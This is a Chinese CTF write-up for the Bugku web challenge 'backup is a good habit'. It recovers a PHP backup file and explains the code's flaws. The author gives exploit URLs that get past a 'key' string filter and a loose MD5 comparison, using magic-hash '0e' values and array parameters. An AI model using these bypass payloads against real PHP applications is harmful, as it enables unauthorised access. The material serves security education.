【Writeup】Bugku-Web-备份是个好习惯

 

打开页面是一串字符,看起来是md5

不抱希望去解码一下居然解开了:

没有什么信息,既然题目说了“备份是个好习惯”,就扫一下后台吧

访问这个index.php.bak下载

去掉bak后缀后打开,是一段php代码,一句话一句话看一下(写在注释里面了):

(每一句学习时的调试都是在http://www.dooccn.com/php/中进行的)

 1 <?php
 2     
 3 /**
 4  * Created by PhpStorm.
 5  * User: Norse
 6  * Date: 2017/8/6
 7  * Time: 20:22
 8 */
 9 
10 include_once "flag.php";//包含一次flag.php
11 ini_set("display_errors", 0);//修改php.ini中的配置,display_errors=0
12 $str = strstr($_SERVER['REQUEST_URI'], '?');//搜索?在url中的第一次出现并将str赋值为包括?在内的剩余的部分
13 $str = substr($str,1);//去掉str的第一位(也就是?)
14 $str = str_replace('key','',$str);//将str中的key用空替代
15 parse_str($str);//把查询字符串解析到变量中
16 echo md5($key1);
17 echo md5($key2);
18 if(md5($key1) == md5($key2) && $key1 !== $key2){
19     echo $flag."取得flag";
20 }
21 ?>

接下来就很好构造了,这段说的是要构造key1和key2两个变量,又要检查变量名中有没有key,如果有要替换为空,所以通过kkeyey1和kkeyey2绕过。

其中key1和key2的值不可以相同,但md5值要相同,此处有两种构造方式:

0e

可以将key1和key2赋值成md5值为0e开头的字符串(0e=0x10n,所以会被判定为相等),比如输入

http://123.206.87.240:8002/web16/?kkeyey1=QNKCDZO&kkeyey2=240610708

数组

由于md5无法处理数组,但php又不会抛出异常,只会返回false,所以可以将key1和key2赋值乘数组,比如

http://123.206.87.240:8002/web16/?kkeyey1[]=abc&kkeyey2[]=123

 

两种方法都能得到flag,但返回值不同(0e方法会同时返回两个key变量的md5值)

posted @ 2020-04-26 16:59  AFJ1923  阅读(252)  评论(0)    收藏  举报